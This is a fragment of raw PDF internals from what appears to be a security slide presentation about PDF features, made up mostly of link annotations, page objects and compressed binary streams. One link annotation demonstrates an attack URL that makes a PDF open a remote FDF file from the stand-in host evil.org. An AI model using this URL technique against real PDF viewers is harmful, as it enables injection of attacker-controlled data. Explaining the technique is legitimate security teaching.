1 >> ] /Bounds [ 0.58167 1.16342 1.59972 ] /Encode [ 0 1 0 1 0 1 0 1 ] >> /Extend [ true false ] >> >> /ProcSet [ /PDF ] >> endobj 889 0 obj << /D [ 919 0 R /XYZ 334.488 1.245 null ] >> endobj 890 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 891 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation18) >> >> endobj 892 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 893 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 894 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation18) >> >> endobj 895 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation19) >> >> endobj 896 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation19) >> >> endobj 897 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 898 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 899 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 900 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 901 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 902 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 903 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 904 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 905 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 906 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 907 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 908 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 909 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 910 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 911 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 912 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 913 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 914 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 915 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 916 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 917 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 918 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F53 154 0 R /F63 525 0 R /F14 592 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 919 0 obj << /Type /Page /Contents 920 0 R /Resources 918 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 922 0 R /Annots [ 890 0 R 891 0 R 892 0 R 893 0 R 894 0 R 895 0 R 896 0 R 897 0 R 898 0 R 899 0 R 900 0 R 901 0 R 902 0 R 903 0 R 904 0 R 905 0 R 906 0 R 907 0 R 908 0 R 909 0 R 910 0 R 911 0 R 912 0 R 913 0 R 914 0 R 915 0 R 916 0 R 917 0 R ] /AA << /O << /N /NextPage /S /Named >> >> >> endobj 920 0 obj << /Length 2470 /Filter /FlateDecode >>stream xnF]_}H@H}-36Ȏ>l6Lӎˇ|L[U}%d&2]uwUqXuYhVa4qRWŠ S-b~ 铟ܺ5K)QZ/qm %}{8ݬ~z e\{jzp]/L3 C0'`& p\X~u& q>F|GN[;L̀Q6g j7up`\ !l~;.hjoG-;SpN@M$Y^ *\wHt=sAZ--ߝ\` 3uuޝB_ q<.g|"  }l Fވ7Vw&='C\l5Ҭdw<1\WohOfM^{s rZ^)KTp hHa 70-R~L-FjPk.t' qevA}(؅}?RU TJe$.t]y/Lb\›&B7cd#frY <$S[E),7uTbuҁbvuJP`;@U<!j"!yJ[׫j&P A\ZܧGZzQ񘛿98HiYUޠ)]d̀p&,5mcfF%!wL(" b"Boq@r08 <äR*pp<&= DUհ[ ih cs'bI*~ߧXpPmnp?XnwI*iGkKRqI t5g"/PuL9Si봩*[jAd!pJ޴Ym $mXܑHTݧ6EzjXFͬF ܽx> _z,AF .ldj *Vw@M^E5'Կ<Ɩ Y"dt!EF Ѱȝ=sHP/ҽ~~ϕ@,ġБ7۳|+[8K?(3ycv.7d7w -UX,36`CH,~2ѡ(IyJ"T,GP*Ӆ^,Ǵ%ހ0Zu<EP]UӕL!VjU#*m}+HpnWT?}FLD+C$)DL(*.9Ea_> JR"D{Koæwrwph0wTB12(^ChOQ ]i +o+ʝ?#9t9H"YC3%T(m$ѐ@qiѯ'dJ.zLy ( T*-km+âaP] ՘ɣOHTfO.AX^-Kw~[_._缜e(4EB:Ak }9vs > endobj 922 0 obj << /Count 6 /Kids [ 919 0 R 954 0 R 992 0 R 1032 0 R 1065 0 R 1103 0 R ] /Type /Pages /Parent 1288 0 R >> endobj 923 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 151.751 87.209 303.453 98.137 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://site.org/file.pdf#search=foobar) >> >> endobj 924 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 72.181 65.291 290.654 76.219 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://site.org/file.pdf#FDF=http://evil.org/foobar.fdf) >> >> endobj 925 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 926 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation19) >> >> endobj 927 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 928 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 929 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation19) >> >> endobj 930 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 931 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 932 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 933 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 934 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 935 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 936 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 937 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 938 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 939 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 940 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 941 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 942 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 943 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 944 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 945 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 946 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 947 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 948 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 949 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 950 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 951 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 952 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 953 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F84 886 0 R /F56 205 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Fm21 854 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 954 0 obj << /Type /Page /Contents 955 0 R /Resources 953 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 922 0 R /Annots [ 925 0 R 926 0 R 927 0 R 928 0 R 929 0 R 930 0 R 931 0 R 932 0 R 933 0 R 934 0 R 935 0 R 936 0 R 937 0 R 938 0 R 939 0 R 940 0 R 941 0 R 942 0 R 943 0 R 944 0 R 945 0 R 946 0 R 947 0 R 948 0 R 949 0 R 950 0 R 951 0 R 923 0 R 924 0 R 952 0 R ] /AA << /O << /N /NextPage /S /Named >> >> >> endobj 955 0 obj << /Length 2507 /Filter /FlateDecode >>stream xZo _ Ȏ#=\qp=\l}hZ@YK ˲-9__I$'M&w3ᐿ\mūG|))y ^)+WN2!mu7fG>BWyVwt}s1..Qs'9#2)Lp@cFJX W,t,Eq nƵ %P" ާ+|ףkUjculȱB%v1˯ pB666il7Ohg(M(m) F{iI3fTGIi#"kЛ Xɗcnmhj5MW=Y4$q͐>O..(P(KO/#h' ^VdV]xnqdtClH.vt3~ػKcqGa}yϦb>lÒqyA t xJjBT1TGp:۷z՞qu{Ȅ@JDgc47ՑJh|'"jô4(hICuX+֡@=:H .$1XD٬XA'o]c J:⫊/T.UaKA~^ MA>0`Q}*8IeW UYlrs_k訇HIm+dEڑV|)H>\zK:ϙŋf$2VbנzlzCm.$x 5PoM E y3Lۋ e_!ew,6^RGvKJGEC!% hoH.9X)d:V:TA7~: Hni4d{M"M_ᗩ4ftv6 dVaILJѹ # ?\X;lS*B85ݼ?G}Y$ nj6{#!jw38I)E҇Z诨簀4{,rҎ` N ٱ=}21hLK5Y cd> endobj 957 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 172.918 167.034 184.921 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 958 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 146.577 151.749 158.022 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 959 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 121.61 101.969 131.123 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 960 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 92.779 253.638 104.223 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 961 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 49.467 82.756 97.058 91.573 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 962 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 49.467 70.801 164.763 79.618 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 963 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 964 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 965 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 966 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 967 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 968 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 969 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 970 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 971 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 972 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 973 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 974 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 975 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 976 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 977 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 978 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 979 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 980 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 981 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 982 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 983 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 984 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 985 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 986 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 987 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 988 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 989 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 990 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 991 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F53 154 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm15 244 0 R /Fm8 169 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 992 0 obj << /Type /Page /Contents 993 0 R /Resources 991 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 922 0 R /Annots [ 963 0 R 964 0 R 965 0 R 966 0 R 967 0 R 968 0 R 969 0 R 970 0 R 971 0 R 972 0 R 973 0 R 974 0 R 975 0 R 976 0 R 977 0 R 978 0 R 979 0 R 980 0 R 981 0 R 982 0 R 983 0 R 984 0 R 985 0 R 986 0 R 987 0 R 988 0 R 989 0 R 957 0 R 958 0 R 959 0 R 960 0 R 961 0 R 962 0 R 990 0 R ] /AA << /O << /N /NextPage /S /Named >> >> >> endobj 993 0 obj << /Length 1943 /Filter /FlateDecode >>stream xZKs7 WTh[[ǙfrhlʲKmycWڒM2IFK@B7j | E k ډ۱8x`ғ2FA(ozqkNݤ MccPMZte +UjhG*- clL F_'^VZ:4T$=DӾ+{NPi;ib# os#.C#> Z"H4 z7 qNTYAhHʒB]b}UiLXc\(Ecdo R& 0:ˠӵ4zRE8uG48lҒD"kϩA!}M o YI-ފeю>e%] *uي;Ob}V. ՙ89Ш\d$4"@cuֵ*'(;6QJxT(˨R@!֌ rZ(QF!UFBJ:F(6E`T)(S~{sFe²7C,}m0Aъn-M}[$pBdIq.xyИ[ Oٟx<gm!$eݥg}-*'wf9n 9dmY|X{Dʣc؄LCˈ'\Z`HTv\ZRzFg<`!YQ^b(p GСсML:%S.lsrrWv23zѐ %4#⎌mHhf[@, 3 f:;j k XSCң-b6ԀB@.q]3!U>pd@c{4JTVF־_ :R->uŐTdgrz~b,62ͧQsۡQAX$QkҡrZj t7Ia?Iާ*^TK'V|^ Ƀ6#_(DbDMseW7 |PHr82}੻pRFXU,b`@G *FGFp!0Nn1RAެ\HA1m̮I8GC88{N()K p;ȷyCSy E[= daI^?ۄA|4_p\Ɇc1^vf1OoX}Nɩr2uJb2WFo fx!|vl^ ΰf$afh>NwY]]qg97|BVRqJk3K52.Hm݊ dWP"d4`%&.$=^g tNK)1GQ9G3#@_d9]* 3\9}^T"0*-VjYVMf oa9@LɰoT/_ש"i~t)Hp/'b`)y9z/gSf{&c|w T[ꐞ~j׼* endstream endobj 994 0 obj << /D [ 992 0 R /XYZ 334.488 1.245 null ] >> endobj 995 0 obj << /D [ 1032 0 R /XYZ 334.488 1.245 null ] >> endobj 996 0 obj << /D [ 1103 0 R /XYZ 334.488 1.245 null ] >> endobj 997 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 172.918 167.034 184.921 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 998 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 146.577 151.749 158.022 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 999 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 121.61 101.969 131.123 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 1000 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 92.779 253.638 104.223 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1001 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 49.467 82.756 97.058 91.573 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1002 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 49.467 70.801 164.763 79.618 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1003 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 1004 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S 